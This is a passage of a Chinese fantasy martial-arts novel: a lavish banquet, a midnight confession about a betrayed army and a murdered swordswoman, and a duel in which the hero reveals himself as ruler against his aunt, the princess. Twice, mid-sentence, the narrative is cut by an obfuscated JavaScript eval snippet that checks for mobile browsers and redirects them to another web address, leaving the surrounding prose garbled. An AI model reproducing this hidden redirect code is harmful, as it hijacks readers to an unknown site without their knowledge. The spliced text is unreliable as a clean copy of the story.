“我靠闻人!!”她蹭地站起来,双手撑在桌上,眼睛瞪得圆圆的,“你真阔绰!!” 闻人奚郁笑着摇扇子:“吃顿饭而已,不算什么。” “不算什么?!”姣姣的声音拔高了,“这一桌得多少钱?!” “没多少。”闻人奚郁说。 姜亦在旁边嗤了一声。 “没多少?光这个包厢的茶位费,就够你在东市买一车桂花糕。” 姣姣扭头看姜亦:“你怎么知道?” 姜亦噎了一下。 闻人奚郁笑着替他解围:“姜亦在皇城长大,这些事自然知道。” 姣姣“哦”了一声,意味深长地看了姜亦一眼。 姜亦别过脸,假装在看墙上的画。 菜上来得很快。 先是冷盘。 水晶肘子切成薄片,码在冰盘上,每一片都薄得能透光,蘸料是陈醋和蒜泥,酸香扑鼻。 桂花糯米藕切成厚片,浇了糖桂花,甜丝丝的。 酱牛肉切得整整齐齐,边上摆着一碟椒盐。 然后是热菜。 清蒸鲈鱼,鱼身划了几刀,塞了姜片和葱段,筷子一拨,鱼肉就下来了,嫩得跟豆腐似的。 红烧狮子头,拳头大的肉丸,酱色浓郁,咬开里面是流心的咸蛋黄。 蒜蓉粉丝蒸扇贝,扇贝肉厚实,粉丝吸饱了汤汁,一口下去满嘴鲜。 还有一盅老母鸡汤,炖了整整四个时辰,汤色金黄,上面飘着一层薄薄的油花。 最后是点心。 桂花糕、绿豆糕、荷花酥、芙蓉饼,摆了整整四层。 姣姣的眼睛已经不够用了。 她的目光从这盘移到那盘,从那盘移到另一盘,像是不知道先从哪个下手。 “我不客气啦!!”她抓起筷子,夹了一块水晶肘子,蘸了醋蒜汁,塞进嘴里。 “嗯!!”她眼睛瞪大,“好吃!!” 第二筷是桂花糯米藕。 第三筷是酱牛肉。 第四筷是清蒸鲈鱼。 她吃得很快。 姜亦坐在她对面,端着茶杯,看她吃。看了半晌,终于忍不住笑出声。 “你吃相能不能好点?” 姣姣嘴里塞满了食物,两颊鼓鼓的,像只仓鼠。她含糊不清地说:“介样才香!” 姜亦笑着摇头,夹了一块桂花糕,慢条斯理地咬了一口。 闻人奚郁坐在姣姣旁边,一直没怎么吃。 他在给她倒茶,倒了一杯又一杯。姣姣吃几口就灌一杯茶,灌完继续吃。 他看着她吃,笑眯眯的,像是在看什么有意思的事。 奕秋坐在姣姣另一边,吃得很慢。 每样菜夹一筷子,尝一口,放下。 姣姣时不时往她碗里塞东西。 “小姐尝尝这个!这个好吃!” “小姐这个鱼!嫩!” “小姐这个汤!鲜!” 奕秋来者不拒,全吃了。 姜亦看着这一幕,然后低下头,喝了一口茶。 吃到一半,姣姣终于放慢了速度。 她靠回椅背,摸着肚子,长出一口气。“吃不动了。” 闻人奚郁笑着把一盘荷花酥往她那边推了推。“再吃一个?” 姣姣看着那盘荷花酥,犹豫了三息,伸手拿了一个。 姜亦放下茶杯,忽然开口。 “姣姣姑娘。” “嗯?” 姣姣咬了一口荷花酥,酥皮碎屑掉了一桌。 “能不能再做一遍那个起手式?” 姣姣愣了一下,嘴里还嚼着荷花酥:“啊?” 姜亦看着她,语气很平静,但眼底有什么东西在闪。 “今天在擂台上,你拿剑的那个起手式。我没看清。” 包厢里安静了一瞬。 闻人奚郁收起折扇,目光落在姣姣身上。 奕秋放下茶杯,看着她。 姣姣嚼完荷花酥,舔了舔嘴角的碎屑。 “行啊。”她站起来,拍了拍手上的渣,“姜大侠,剑借我。” 姜亦拔出腰间长剑,递给她。 剑身修长,寒光凛冽,剑格处镶着一枚美玉,在日光下泛着温润的光。 姣姣接过剑。 和擂台上一样。但又不一样。 擂台上是随手一接,随手一挥。现在是她认真了。 她握着剑,站在那里。 没有急着摆架势,先低头看了一眼剑身。 然后她动了。 右手腕轻轻一转,剑尖从地面抬起。 剑身抬到与腰齐平的位置时,她停了。剑尖斜指前方,剑身与地面呈一个微妙的角度,不偏不倚。 另一只手抬起,两指轻轻搭在剑身中段。她的指节分明,搭在剑身上的姿态像是抚琴。腰微微下沉,肩膀放松,整个人从下到上,是一根线。头顶、肩膀、腰、膝盖、脚踝,全在一根线上。 她站在那里,像一棵被风吹了很多年的树,根扎在地里,枝叶在风里晃,但树干是直的。 然后她出剑。 手腕一翻。 嗡—— 剑鸣声骤然清亮。 这一剑,不像是练出来的,更像是从她心里长出来的。 剑花挽完,剑尖回落,斜指地面。 她站在那里,气息平稳,脸上没什么表情。 然后姣姣瞥了一眼自己拿着剑的手,笑了一声。 包厢里安静了很久。 闻人奚郁第一个开口。 他的声音比平时轻了很多。“姣姣姑娘,”他说,“我见过很多剑客。北疆的、原终的、南水的。从来没见过这种起手式。” 他看着姣姣,桃花眼里没有笑,只有一种很认真的光。 “不是招式的问题。是你站在那里,就觉得,剑应该是这样的。” 姣姣眨眨眼,那层沉静褪去,又变回那个懒散的少女。 “闻人公子,你这夸人夸得真高级。”她笑嘻嘻地说,“我都不知道怎么接了。” 闻人奚郁笑了,没再说话。 姜亦一直没说话。 他坐在那里,看着姣姣手里的剑。 那柄剑跟了他很多年,他以为自己很了解它。 但在姣姣手里,那柄剑不一样了。 它在她手里震颤、嗡鸣、发光。 像是一直在等这个人。 而那个起手式。 久久不能平息。 “姜大侠?”姣姣的声音把他拉回来,“看傻了?” 姜亦回过神。 他看着姣姣,沉默了一会儿,然后说:“你这个起手式,是谁教的?” 包厢里又安静了。 闻人奚郁的目光微微一动。 奕秋端着茶杯的手停了。 姣姣愣了一下。 她低头看着手里的剑,看了很久。然后她抬起头,咧嘴一笑。 “没人教。”她说,“自己琢磨的。” 她把剑递还给姜亦。 “谢啦。” 姜亦接过剑,没再问。 但他知道,她在说谎。 奕秋一直没说话。 但姣姣摆出起手式的那一刻起,她的目光就没离开过她。 那个起手式,她见过。 记忆很深。 很多年前,在东夷边境,有一个女人教过她。 “剑不是用来杀人的。”那个女人说,“剑是用来守的。守住你想守的东西,就够了。” 那个女人的起手式,和姣姣的一模一样。 奕秋端起茶杯,喝了一口。 茶已经凉了,她没在意。 * 子时,姣姣从客栈后窗翻出来,落在巷子里。 她今天穿了一身深红色的衣裙,左肩还敷着药,但活动已经无碍了。 她落地无声,像一只猫。 巷子另一头,三个人的身影隐在暗处。 姜亦靠墙站着,手按在剑柄上。 闻人奚郁收着折扇,靠在姜亦旁边,笑眯眯的,但目光一直跟着姣姣。 奕秋站在最暗的角落,白衣在月光下泛着冷冷的光,无尘剑横在膝上。 姣姣沿着巷子走到周府后门。门虚掩着,留了一道缝。 她推门进去。 院子里站着一个人。 周不弃换了一身深色的便服,没有佩剑。 他站在月光下,看见姣姣进来,点了点头。 “来了。” “嗯。”姣姣走过去,“说吧。” 周不弃沉默了一会儿,然后开口。 “十四年前,羽林军奉命出征。镇国将军领兵,走的是一条险路。” “所有人都说那条路必败,他说能赢。” 周不弃顿了顿。 姣姣思虑着:“唔…赢了吗?” “结果惨败。” 姣姣抬起眼。 “全军覆没,镇国将军死在沙场,死无全尸。” 周不弃的声音很平。 “朝廷说他通敌卖国,故意走险路,害死三军。陈夫子被扣上偷换冰心玉、贪污军饷的罪名,流放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437479|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边疆。羽林军的番号被撤,活着的人全被贬为庶人。” 姣姣没说话。 这些事她都知道。 陈夫子跟她说过。 周不弃继续说:“但真相不是这样的。羽林军不是败在战术上,是败在装备上。” “冰心玉被换成了次品,战甲、兵器、粮草,全是次品。” “镇国将军走那条险路,不是因为他蠢,是因为那是唯一能赢的路。” “但他不知道,他的兵拿的是次品,穿的是次品,连箭矢都是次品。” “所以他输了。” 周不弃垂下头,夜风拂过枝梢。 姣姣看着他。 “冰心玉,是你爹换的。” 周不弃沉默了很久:“是。” 他没有辩解,没有说“我爹也是奉命行事”,没有说“我爹没办法”。 就是一声“是”。 姣姣看着他。 月光落在他脸上,那张清俊的脸,此刻很平静。 平静得像是在说一件跟他没关系的事。 “十二年前,”他继续说,“先主去世。” “尊界不会自然死亡。” “所有人都知道是谁杀的,但没有人能扳倒她。因为相国是她的人,虎符将军是她的人,军械库吏是她的人。” 他顿了顿。 “原终主没办法。他只能等。等他足够强,等她的势力露出破绽,等一个机会。” 姣姣沉默了一会儿。“那个案子,那三具尸体——” “是李统领安排的。”周不弃说,“镇国将军的副将。他想把水搅浑,让长公主以为有人在查冰心玉的事,让她慌,让她动。她动了,就会露出破绽。” 姣姣忽然问:“你为什么要告诉我这些?” 周不弃沉默了。 月光落在他肩上,落在他的眉间。他站在那里,像一棵被风吹了很多年的树。 “因为北娣。”他说。 姣姣愣了一下。 “北娣是羽林军校尉。镇国将军的部下,剑术很好,在东夷学过卦术。” “她死在五年前,死在长公主府。” 他的声音忽然轻了。 “我爹说,她死的时候,手里还握着剑。剑碎了,人也没了。” 姣姣站在原地,没动。 北娣。 这个名字她听陈夫子提过。 陈夫子说起这个名字的时候,声音会变,不是那种悲痛欲绝的变,是那种“她不该死”的变。 “她是我见过最厉害的剑客。”周不弃说,“也是我见过最温柔的人。” 他抬起头,看着月亮。 “我八岁那年,她教过我剑法。她说,剑不是用来杀人的,是用来守的。守住你想守的东西,就够了。” 姣姣的手指动了一下。 周不弃低下头,看着姣姣。 “我知道你不只是查案的。你们四个人,不是普通的江湖客。那个姜亦,他姓姜。” 姣姣没说话。 “我不管你们是谁,要做什么。”周不弃说,“我只想让那些人付出代价。那些换了冰心玉的人,那些害死三军的人,那些杀了先主的人——他们应该付出代价。” 姣姣看着他,看了很久。然后她笑了。 “周小公子,”她说,“你这个人,比你爹有意思多了。” 周不弃愣了一下。 姣姣转身,往门口走。 走了几步,她忽然停下来,没有回头。 “三年前,”她说,“我外出游历的时候,遇见一个人。陈夫子。他在蛮荒之地,腿脚不好了,差点死在那里。” “我救了他。” 周不弃站在原地,看着她的背影。“他还活着?” “活着。”姣姣说,“活得还不错。” 她推开门,走了出去。 门在身后合上。 周不弃站在院子里,看着那扇门,很久没有动。 月光落在他脸上,落在他肩上,落在他空荡荡的腰间。 他没有佩剑。 他忽然想起北娣。 想起她教他剑法的时候,总是说同一句话。 “手腕沉一点。再沉一点。对,就是这样。” 他抬起右手,做了一个握剑的姿势。 手指虚握着,手腕微微下沉。 那个动作,他已经做了十四年。 但今晚,他忽然觉得,自己的手腕还是不够沉。 他看着那四个人的身影。 然后他低下头,看着自己的右手。 “对,就是这样。” 他听见北娣的声音,从十四年前传过来。很轻,很远,像是在梦里。 他放下手,转身跳下墙头。 院子里空无一人,月光把他的影子拉得很长。 他站在那里,站了很久。 然后他推门,走进书房。 周财还坐在太师椅上,面前的茶已经凉透了。他抬起头,看着自己的儿子。 “说完了?” “嗯。” 周财沉默了一会儿。 “她说什么?” “她说,陈夫子还活着。” 周财的手指在桌面上停住了。 他看着周不弃,看了很久。 然后他低下头:“活着就好。” 声音很轻,轻得像是在说给自己听。 * 姣姣从后门出来,走进巷子。 姜亦、闻人奚郁、奕秋从暗处走出来。 “怎么样?” 姜亦问。 姣姣把周不弃说的话,一字不漏地复述了一遍。 说完,巷子里安静了很久。 姜亦靠在墙上,手指按着剑柄。 他的脸上没什么表情,但手指很用力,指节泛白。 闻人奚郁收起折扇,沉默着,没有笑。 奕秋站在那里,一直没有说话。 姣姣说完北娣这个名字的时候,她的手指动了一下。 奕秋沉默了很久。 “北娣。” “鸾虞尊君的徒弟。” “我的师妹。” 姜亦和闻人奚郁愣住了。 “她的剑术,是鸾虞教的。她的卦术,也是。” 奕秋的声音很轻,像是在说一件很久以前的事。 “北娣离开东夷的时候,说要去做一件大事。后来,就再也没有消息了。” 姣姣看着她。 月光落在奕秋脸上,那张永远没有表情的脸上,此刻有什么东西在动。不是悲伤,不是愤怒,是一种更淡的、更深的东西。 “她死的时候,”奕秋说,“手里还握着剑。” 巷子里安静了很久。 姣姣忽然伸手,握住奕秋的手。 奕秋的手指很凉,像冰。 “小姐,”姣姣说,“我们会替她讨回来的。” 奕秋没有回答。 但她没有抽回手。 姜亦站在旁边,看着这一幕。 他低下头,把手从剑柄上移开。 就在此时,奕秋皱眉。 “卦乱了。” “散开!” 16. 幽潭密林摘玉坠 “散开!” 奕秋的声音还未落地,四人脚下的青石板骤然亮起刺目的白光。 符印。 不是普通的符印。 那纹路繁复得像是一朵盛开的曼陀罗,每一片花瓣都刻着细密的咒文,边缘泛着幽幽的蓝光。光芒从地面炸开的瞬间,空气里弥漫开一股灼热的气息,像是有什么东西在燃烧。 轰——! 碎石飞溅,尘土飞扬。 姣姣整个人被气浪掀飞出去,后背撞上巷子的墙壁,闷哼一声。 她落地的时候踉跄了一下,左肩传来一阵钝痛。 伤还没好利索,这一下又扯到了。 她站稳,低头看了看自己站的地方。 青石板碎成蛛网状的裂纹,中心是一个焦黑的坑,边缘还在冒烟。 “……我靠。”她拍了拍身上的灰,语气夸张。 姜亦退了三步,衣摆被气浪撕开一道口子。他的眉头皱得很紧,右手按在剑柄上,左手的指尖无意识地碰了碰耳坠。 那枚赤金麒麟坠在月光下晃了晃,发出一声极轻的脆响。 闻人奚郁被姜亦拽着退了四五步,堪堪站稳。 他低头看了一眼自己的左袖。 从手肘往下,一整截袖子没了,露出里面白色中衣。 碎布片飘落在脚边,在月光下像一片凋零的花瓣。 他看着那片碎布,又看了看姜亦。 “这算断袖吗?” 他的声音很轻,带着一点笑意,像是在说一件无关紧要的事。 姜亦:“算。” 闻人奚郁笑了。 但很快,他的笑容僵住了。 那股气息。 不是从符印里来的,是从巷子尽头来的。 很远,但很清晰。 像是一把刀架在脖子上,还没割下去,但你已经知道它会割下去。 闻人奚郁的笑意收了。 他的折扇收在手里,指节微微发白。他感觉到了。 不是杀气,是威压。 尊界的威压。 不是周财那种尊界一重,也不是之前那个面具人那种尊界二重。是更重的、更沉的、像是整片天压下来的那种。 姜亦拔剑。 剑光在月光下一闪,他已经翻上了屋顶。 他看见了。 巷子尽头,长街的另一端,一个黑色的身影站在月光下。 那人穿着黑色的夜行衣,面纱遮住了大半张脸,只露出一双眼睛。 身形纤细,像是个女子。 她站在那里,一动不动,像是等了很久。 姜亦没有犹豫。 他踩着屋脊追了上去,瓦片在脚下发出细碎的声响。那道黑影也动了,速度很快,快得像是一阵风。 姣姣、奕秋、闻人奚郁紧跟在后面。 姣姣跑在最前面,左肩还有些肿,但她面色不改,没停下。 奕秋的步伐很稳,无尘剑在腰间轻轻晃动,她的目光一直锁在那道黑影上。 闻人奚郁落在最后,跑起来比前面三个人慢了不少,但也没落下太远。 他的折扇已经收起来了,袖口缺了一截,在风里猎猎作响。 穿过三条街,翻过两道墙,绕过一座破败的土地庙。 黑影始终在他们前面,不远不近,像是有意等着他们。 最后,她停在一片密林前。 林子不大,但很密。 树冠遮住了大半月光,只有零星的光斑落在地上。林子深处有一片潭水,月光照在水面上,泛着冷冷的银光。 黑影在潭水边站定,转过身来。 姜亦落在她对面,相距不过三丈。 月光从树冠的缝隙里漏下来,落在那个黑衣人身上。 她穿着一身剪裁合身的夜行衣,腰间悬着一柄长剑,剑鞘漆黑,剑格处镶着一枚红玉,在月光下泛着幽幽的光。 那枚红玉很漂亮。不是那种俗气的艳红,是深沉的、像凝固的血一样的红。玉质温润,边缘刻着极细的纹路,一看就不是凡品。 姜亦没有说话。 他拔剑,剑尖指着黑衣人。 黑衣人也拔剑了。 剑身修长,寒光凛冽,和姜亦的剑不同,她的剑更细、更轻,像一条银蛇。 两柄剑在月光下交击。 铛——! 火星四溅。 第一剑,是试探。姜亦用了七分力,黑衣人接住了。 第二剑,姜亦加了力。剑风呼啸,地上的落叶被卷起来,在两人周围旋转。 黑衣人退了半步,但剑没有乱。 第三剑,第四剑,第五剑—— 剑光越来越快,越来越密。 两人的身影在月光下交错,分不清谁是谁。剑刃相击的声音密得像雨打芭蕉,火星在黑暗中一闪一闪。 “这位剑客,”黑衣人的声音从面纱后面传出来,带着一点笑意,“剑术不错嘛。” 那声音很轻,很柔,带着一种漫不经心的慵懒。像是在评价一道菜,又像是在夸一件衣裳。 姜亦的嘴角扬起来了。 他没有说话。他手腕一翻,剑身一震—— 下一剑,用了全力。 尊界二重的全力。 剑光炸开的瞬间,空气都在扭曲。 潭水被剑气掀起,炸起数丈高的水柱,水花四溅,在月光下像无数碎银。地上的落叶被气浪卷起来,在空中碎成齑粉。 这一剑,足以劈开一座小山。 黑衣人接住了。 她的剑在手里震颤,嗡鸣声持续了很久,她的姿势没有乱,剑尖还是指着姜亦,稳得像钉在地上。 很轻松的化开了姜亦的剑气。 姣姣、奕秋、闻人奚郁赶到的时候,看见的就是这一幕。 “那个人,尊界三重?” “怪不得姜亦的剑这么轻易就被接住了。” 潭水四起,剑光凌厉,两个人对峙着,谁都没有再动。 姣姣正要往前冲,忽然发现自己的脚动不了了。 她低头一看。 脚下不知道什么时候多了一圈符文。细密的、发着淡淡蓝光的符文,像一条蛇,把她的双脚缠住了。 不止是她,奕秋、闻人奚郁也被困住了。三个人站在三个不同的位置,脚下是同样的符文阵。 “阵法。” 奕秋的声音很冷。 姣姣挑眉,低头看了看那些符文,伸手摸了摸。 手指触到符文的瞬间,像是被针扎了一下,她缩回手,啧了一声。 “还挺疼。” 闻人奚郁低头看着自己脚下的符文,没有动。 他也不打算挣。 他只是站在那里,目光落在那个黑衣人身上。 姜亦和黑衣人还在打。 剑光越来越快,姜亦的攻势越来越猛。他的剑法凌厉、霸道、不留余地,每一剑都奔着要害去。 黑衣人的剑法不一样,她的剑更轻、更灵、更快,像是在水面上漂着的一片叶子,你抓不住它,它也沉不下去。 但姜亦在退。 不是主动退,是被逼退。 黑衣人的剑越来越快,快到他的眼睛跟不上。他挡了十七剑,第十八剑擦着他的肩膀掠过,衣料被划开一道口子,血珠渗出来。 第十九剑刺向他的咽喉。 他侧身躲开,剑尖擦着脖子过去,留下一道浅浅的血痕。 第二十剑,他没能完全躲开。 剑锋划过他的手臂,衣袖被撕开,血涌出来。 姣姣的眉头皱起来了。 “姜亦!” 姜亦没有回答。 他退了三步,站定。 左臂上的血顺着手指滴落,滴在脚下的石板上,一滴,两滴。 他的呼吸有些乱,但他的眼睛很亮。 他看着那个黑衣人,看了很久。 然后他看向那三个人,一个尊界一重,一个五道四重,还有一个…不会武功。 如果打不过,那他们怎么办。 唉,罢了。 不装了。 他忽然抬起左手,摘下了左耳的赤金麒麟坠。 耳坠从他掌心滑落,发出一声极轻的脆响。 那一瞬间,天地变色。 乌云从四面八方涌来,遮住了月亮。 雷声在云层里翻滚,沉闷的、连续的、像是有人在敲一面巨大的鼓。 然后,一道雷劈下来。 不是普通的雷,是原终主才能引动的天雷。 是紫色的、粗如水桶的、带着毁灭一切气息的天雷。 它从云层里劈下来的时候,整个林子都被照得雪白。树影在雷光中颤抖,潭水被照得通透,连水底的石头都看得一清二楚。 雷落在姜亦的剑上。 剑身被紫色的雷光包裹,发出刺耳的嗡鸣。 姜亦握着剑,站在那里,周身的气息不再是尊界二重。 尊界四重。 青穹榜首。 姣姣眼睛睁大了:“我靠姜亦!你原来是原终主啊!” “不早说!!” 奕秋也看向姜亦。 只见他一剑劈出。 雷光随着剑势炸开,化作一道紫色的弧光,直奔黑衣人而去。所过之处,空气被电离,发出噼里啪啦的爆响。 地面被犁出一道深深的沟壑,碎石飞溅。 黑衣人抬手,指尖在虚空中画了一道符。 符文的纹路很复杂,像是用毛笔蘸着光写出来的。 它在她面前展开,像一面半透明的盾牌。 雷光撞上符盾。 轰——! 巨响震得人耳朵发麻。 符盾碎了。 但雷光也被分开了。 大部分被符盾引向旁边,劈进密林里。 那一排大树,被雷光平着切过去,上半截树冠齐刷刷地倒下,砸在地上,扬起漫天的碎叶和尘土。 剩下的雷光,黑衣人只能硬抗了。 她的剑横在身前,剑身上的红玉发出耀眼的光芒。 雷光撞上剑身,她被震退了十几步,脚下踩碎了不知道多少石头。 她撑不住了。 嘴角溢出一丝血。 那血顺着下巴滴落,滴在脚下的石板上,和姜亦的血混在一起。 下一秒,刚刚那个轻松化开尊界二重全力剑气的黑衣人,被掀飞了! 她抬起手,用拇指擦掉嘴角的血,低头看了看指尖的那抹红色。 然后她笑了。 那笑容带着一种说不清的东西。不是嘲讽,不是愤怒,是满意。 “姑姑。” 姜亦的声音从雷光中传出来,平静得像是在叫一个很久不见的人。 “别来无恙。” 黑衣人抬起手,摘下了面纱。 月光落在她脸上。 那是一张极美的脸。 眉眼间带着与生俱来的贵气,眼尾微微上扬,平添几分凌厉。 眉心一点花钿,衬得那张脸愈发雍容。 她的嘴角还沾着血,但那血迹不但没有减损她的美貌,反而添了几分妖冶。 姜未玉。 原终长公主。 她看着姜亦,嘴角微微扬起。 “好侄儿。”她的声音还是那样轻,那样柔,像是在跟一个晚辈叙旧。 “尊界四重,青穹榜首。” “你比你爹强。” 姜亦没有说话。 他握着剑,站在那里,雷光在他周身缓缓消散。他的左臂还在流血,但他没有低头看一眼。 姜未玉的目光从他身上移开,落在他身后那三个人身上。 姣姣站在符文阵里,左脚往前蹭了蹭,符文亮了亮,又把她弹回去。 她“嘶”了一声,低头瞪那些符文,像是在跟它们吵架。 奕秋站在另一边,脚下也是同样的符文阵。她没有动,只是站在那里,目光冷冷地看着姜未玉。 无尘剑在腰间轻轻晃动,她的手已经按上了剑柄。 闻人奚郁站在最后面,缺了一截袖子的手臂垂在身侧。 他的脸上没有笑,桃花眼微微眯起,看着姜未玉。 姜未玉的目光在他们身上转了一圈。 然后她笑了。 那笑容意味深长,像是在看一盘还没下完的棋。 “有意思。” 她的声音很轻,轻得像是在自言自语。然后她抬手,指尖在虚空中画了一道符。 符文的纹路比她之前画的任何一道都复杂,光芒也更盛。 “下次见。” 她的身影在符文中渐渐变淡,像是被水冲淡的墨。 姜亦没有追。 他弯腰,捡起耳坠,重新戴在左耳上。 身后的符文阵在姜未玉消失的同时也散了。 姣姣活动了一下被禁锢的脚踝,走到姜亦身边,低头看了看他还在流血的左臂。“原终主,你胳膊在流血。” 姜亦没说话。 “还是叫我姜亦吧。” 姣姣没理他,撇了撇嘴。 她从腰间摸出一个小瓷瓶,拔开瓶塞,把里面的药粉倒在他伤口上。 带着一股草药的清香。血止住了。 “你这药——”姜亦开口。 “我自己配的。”姣姣把瓷瓶收回去,“治外伤特别好用。回头给你一瓶,备着。” 姜亦看着她,嘴角微微动了一下。“谢谢。” 姣姣摆摆手,走到潭水边,蹲下来洗手。月光照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437480|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在水面上,把她的影子拉得很长。 她洗得很慢,像是在想什么事。 奕秋站在她身后,无尘剑已经归鞘。 她看着潭水,看了很久。 闻人奚郁走过来,缺了一截袖子的手臂垂在身侧。他低头看着自己那条袖子,忽然笑了。 “这条衣裳是新做的。” 姜亦看他一眼。“我赔你。” “不用。”闻人奚郁摇着折扇——不知道什么时候又掏出来了,“你这雷法,比上次见的时候又厉害了。” 姜亦没接话。 他站在潭水边,看着水面上自己的倒影。 左耳的麒麟坠在月光下晃了晃。 “原终,姜亦。” 姜亦突然站起身,冲三人举手作揖。 “之前骗了大家,抱歉。” 姣姣洗完手站起来,甩了甩手上的水珠。 没有在意这件事。 “所以,”她看着姜亦,“长公主是你姑姑?” 姜亦沉默了一会儿。 “嗯。” “她为什么要杀你?” “不是我。”姜亦的声音很平静,“是那些查案的人。谁查冰心玉案,她就杀谁。” 姣姣愣了一下,然后笑了。“那我们不是正好撞枪口上了?” 姜亦看着她。“你怕了?” 姣姣咧嘴一笑,“原终主都在这儿,有什么好怕的。” 姜亦的嘴角微微扬起。 闻人奚郁走过来,站在姜亦身边。 “她今天来,是试探。” “她知道这位剑客是自己侄儿,也知道青穹榜统计,她的侄儿,原终主是榜首。” “所以她想看看姜亦的实力,也想看看——”他顿了顿,目光落在姣姣和奕秋身上,“她们的实力。” “下次就不会这么简单了。” 奕秋忽然开口。 她的声音很冷,像是潭水里的月光。 四个人沉默了很久。 姣姣打了个哈欠。“行了,回去睡觉吧。” 她转身往林子外面走,走了几步,忽然停下来,回头看着那潭水。 月光照在水面上,泛着冷冷的银光。水面上还有姜亦那一剑炸起的水波,一圈一圈地荡开,很久没有平息。 “姜大侠,”她忽然开口,“你刚才那一剑,真厉害。” 姜亦没说话。 “尊界四重,”姣姣掰着手指。 “啧,青穹榜首,你藏得够深的。” 姜亦看着她。“你不也藏了?” 姣姣愣了一下,然后笑了。 “彼此彼此。” 她转身,继续往前走。深红色的衣裙在月光下像一团火,在密林的阴影里忽明忽暗。 奕秋跟在后面,步伐很稳。 她的无尘剑在腰间轻轻晃动,剑鞘上的纹路在月光下若隐若现。她走过姜亦身边的时候,脚步顿了一下。 “你那个耳坠,”她忽然开口,“是封印。” 姜亦一愣。 奕秋没有看他。 “摘下来的时候,才是你真正的实力。” 她说完,继续往前走。白衣在月光下泛着冷冷的光,像一片不会融化的雪。 姜亦站在原地,看着她的背影。 他的手指无意识地碰了碰左耳的麒麟坠。冰凉的,坚硬的,和过去十几年一样。 闻人奚郁走过来,拍了拍他的肩膀。 “走吧。” 姜亦点了点头,抬脚跟上去。 四个人一前三后,穿过密林,走上长街。 月光把他们的影子拉得很长,交叠在一起,又分开。 长街尽头,客栈的灯还亮着。 老板娘缩在柜台后面,看见他们回来,长出一口气。 “几位客官,你们可算回来了——” 姣姣冲她摆摆手。“没事没事,出去散了个步。” 老板娘看着她身上的灰和泥,又看看姜亦手臂上的伤,嘴角抽了抽,但没敢问。 四个人上楼。 姣姣走到房门口。 忽然停下来,回头看着姜亦。“姜大侠。” “嗯。” “你那个姑姑,很厉害。” 姜亦沉默了一会儿。“嗯。” “但你更厉害。”姣姣咧嘴一笑,“下次见面,打趴她。” 她推门进去,门关上了。 姜亦站在走廊里,看着那扇关上的门,站了很久。 然后他低下头,笑了一下。 “走吧,”闻人奚郁推开隔壁房间的门,“睡觉。” 姜亦点点头,跟了进去。 门在身后合上。 奕秋的房间在最里面。 她推门进去,没有点灯。 月光从窗户漏进来,落在她脸上,落在那柄无尘剑上。 她坐在榻上,把剑横在膝前,闭目调息。她的呼吸很轻,很稳。 她的手指,轻轻抚过剑鞘上的纹路。 一遍,又一遍。 今夜,她看见了一个人。 一个她等了很多年的人。 长公主。 姜未玉。 杀北娣的人。 奕秋的手指在剑鞘上停住了。 她的眼睛没有睁开,但她的手握得很紧。 紧得像是在握一把刀。 隔壁房间,姣姣躺在床上,望着帐顶。左肩还在隐隐发胀,她随手凝起,掌心泛起绿光,盖在左肩上。 她睡不着。 她在想今晚的事。那个阵法,那些符文,那个人。 长公主。 她的手指无意识地摸着腰间的香囊,摸到一个硬硬的东西。 她低头,从香囊里掏出那枚草戒指。 干枯的草茎,粗糙的编织,丑得很。 她把它举到月光下,看了很久。 然后她把它重新塞回香囊,翻了个身,闭上眼睛。 “会讨回来的。”她在心里说。“都会讨回来的。” 月光从窗户漏进来,落在她脸上。 她睡着了。 窗外,月亮升到最高处。 月光洒下来,落在长街上,落在密林里,落在那潭被剑气炸开的水面上。水波还在荡,一圈一圈,很久没有平息。 潭水边,姜未玉站过的地方,石板上还有她的脚印。很深,很清晰。脚印旁边,有几滴血。 她的血。 姜亦的血。 混在一起,分不清是谁的。 夜风吹过密林,把那片被雷光平切的大树吹得沙沙响。 断口很整齐,像是被刀切过的豆腐。月光照在断口上,能看见木头的纹理,一圈一圈,密得很。 那是很多年的年轮。 17. 故人相逢语旧年 翌日清晨,天光未亮透,姣姣还在梦里啃鸡腿。 有人敲门。 三下,不轻不重。 姣姣翻了个身,把被子蒙过头顶。 敲门声又响了三下。 她闷声说:“没起。” “是我。”姜亦的声音从门外传来,“有事。下楼说。” 姣姣睁开一只眼,看了一眼窗外灰蒙蒙的天,她叹了口气,坐起来,头发乱得像鸟窝。 “知道了——” 楼下大堂,老板娘刚把早茶摆上桌。 姜亦坐在靠窗的位置,面前放着一碗粥,没动。 闻人奚郁坐在他旁边,折扇收在手里。 奕秋坐在对面,端着茶杯。 姣姣从楼梯上下来,一屁股坐在奕秋旁边,抓起一个包子啃了一口,含糊不清地问:“什么事啊?天都没亮。” 姜亦没有立刻回答。 他端起粥碗喝了一口,放下,然后说:“我们去见几个人。这个案子,该完结了。” 姣姣啃包子的动作停了。 她看着姜亦,眨眨眼。 姜亦的脸上没什么表情,但她的语气跟平时不一样。 不是那种“我在查案”的认真,是那种“我决定了”的认真。 “见谁?”姣姣问。 姜亦说:“赵守成。还有两个人,你见过。” 姣姣歪头:“我见过?” 姜亦看着她,沉默了一瞬,然后说:“陈夫子。” 姣姣的包子差点掉了。 “陈夫子?!”她瞪大眼睛,“你找到他了?” “赵将军去找的。”姜亦说,“昨夜来的消息,在城西找到的。” 姣姣愣了一瞬,然后笑了。 “嚯。” 